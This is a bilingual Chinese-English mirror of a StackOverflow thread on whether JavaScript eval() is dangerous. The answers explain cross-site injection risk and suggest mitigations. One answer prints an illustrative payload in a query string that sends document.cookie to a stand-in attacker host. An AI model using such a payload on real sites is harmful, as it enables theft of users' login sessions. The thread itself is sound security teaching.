Javascript eval() 这么危险吗？
声明：本页面是StackOverFlow热门问题的中英对照翻译，遵循CC BY-SA 4.0协议，如果您需要使用它，必须同样遵循CC BY-SA许可，注明原文地址和作者信息，同时你必须将它归于原作者（不是我）：StackOverFlow
原文地址: http://stackoverflow.com/questions/13167403/
Warning: these are provided under cc-by-sa 4.0 license. You are free to use/share it, But you must attribute it to the original authors (not me):
StackOverFlow
Is Javascript eval() so dangerous?
提问by casparjespersen
Possible Duplicate:
When is JavaScript's eval() not evil?
I am writing a script in which users have to write in a currency amount, some examples could be (user input >> converts to), with USD as default currency:
我正在编写一个脚本，用户必须在其中写入货币金额，一些示例可能是（用户输入 >> 转换为），以美元作为默认货币：
50 >> 50.0 USD
50.5 >> 50.5 USD
50+1 USD >> 51.0 USD
50 GBP >> 50.0 GBP
I want to make this as smooth as possible, therefore I want to use JavaScript (it's a web app based on PHP/MySql + JavaScript). I want to use regex to filter the input, run it through eval()and return it.
我想让这尽可能顺利，因此我想使用 JavaScript（它是一个基于 PHP/MySql + JavaScript 的网络应用程序）。我想使用正则表达式来过滤输入，运行它eval()并返回它。
Is this a bad idea? I've read some topics about eval()being a security issue. I just don't see how. A user can easily run JavaScript anyway?
这是一个坏主意吗？我已经阅读了一些关于eval()成为安全问题的主题。我只是不明白如何。用户无论如何都可以轻松运行 JavaScript？
Keep in mind that I will validate all input server-side with PHP at a later stage.
请记住，我将在稍后阶段使用 PHP 验证所有输入服务器端。
回答by josh3736
You're right that an end user can easily execute arbitrary JavaScript anyway via the browser's developer console (I do this all the time). What you have to worry about is an attacker hiHymaning your feature that uses evalfor his own ends.
无论如何，最终用户都可以通过浏览器的开发人员控制台轻松执行任意 JavaScript，这是对的（我一直都这样做）。您需要担心的是攻击者会劫持您eval用于自己目的的功能。
The reason evalis generally considered dangerous is because it is veryeasy for untrusted code to sneak in. Consider a page that allows you specify input via query string, where the input box is prepopulated with the value in the query string.
原因eval通常被认为是危险的，因为不受信任的代码很容易潜入。考虑一个允许您通过查询字符串指定输入的页面，其中输入框预先填充了查询字符串中的值。
An attacker could spread a link that contains code which steals a user's login cookie:
攻击者可以传播包含窃取用户登录 cookie 的代码的链接：
/some/url?amount=var i=new Image();i.src='http://badguy.ru/x?' + document.cookie;
(Obviously proper URL encoding is required; this is for illustration.)
（显然需要正确的 URL 编码；这是为了说明。）
Or, perhaps your PHP script echos posted data back into your form when validation fails. An attacker could create a specially crafted form that posts to your form with the same cookie-stealing code.
或者，当验证失败时，您的 PHP 脚本可能会将发布的数据回显到您的表单中。攻击者可以创建一个特制的表单，使用相同的 cookie 窃取代码发布到您的表单。
Each of these attacks can be mitigated by using httpOnlycookies (to prevent stolen login cookies) or making sure that data is sanitized – but the point is this isn't even close to an exhaustive list of how things can go wrong. For example, an injected script could still insert 1000 in the amount field and try to transfer that amount to the attacker's account (if this is a money transfer page).
这些攻击中的每一种都可以通过使用httpOnlycookie（以防止被盗登录 cookie）或确保数据经过清理来减轻- 但关键是这甚至与事情可能出错的详尽列表相去甚远。例如，注入的脚本仍然可以在金额字段中插入 1000 并尝试将该金额转入攻击者的帐户（如果这是汇款页面）。
Even given the fact that you're using a regex to sanitize input doesn't necessarily protect you: it's possible to write arbitrary JavaScript entirely with brackets!
即使考虑到您使用正则表达式来清理输入的事实也不一定能保护您：完全可以用括号编写任意 JavaScript ！
So the bottom line is that if you can make absolutely surethat the only way input makes its way into your text field is via user input, you're fine: the user hasn't gained anything they wouldn't be able to do otherwise via the console. However, if an attacker can somehow get their own data into that field, evaling it may expose you to a vulnerability.
所以最重要的是，如果你能绝对确保输入进入你的文本字段的唯一方式是通过用户输入，你就没事：用户没有获得任何他们无法做到的事情通过控制台。但是，如果攻击者可以以某种方式将他们自己的数据带入该字段，eval则可能会使您暴露在漏洞中。
See also:
也可以看看：
回答by paulsm4
If you need it, use it.
如果您需要它，请使用它。
Here's a good link, which discusses both security ... as well as other common objections to "eval()":
这是一个很好的链接，它讨论了安全性……以及对“eval()”的其他常见反对意见：
What about security? If its your software that's supplying eval with its argument then there's very little to fear on this front. Sure, it would be unwise to eval the value of an input box, but running eval over a response generated by your own server code should present no special risk. Also bear in mind there is no damage a would-be-attacker could do with client side eval that they couldn't more easily achieve with a modern browser console.
安全呢？如果您的软件为 eval 提供参数，那么在这方面就没什么可担心的。当然，评估输入框的值是不明智的，但是对由您自己的服务器代码生成的响应运行 eval 应该不会带来特殊风险。还要记住，潜在的攻击者可以使用客户端 eval 造成的任何损害，他们无法使用现代浏览器控制台更轻松地实现。
IMHO ...
恕我直言 ...
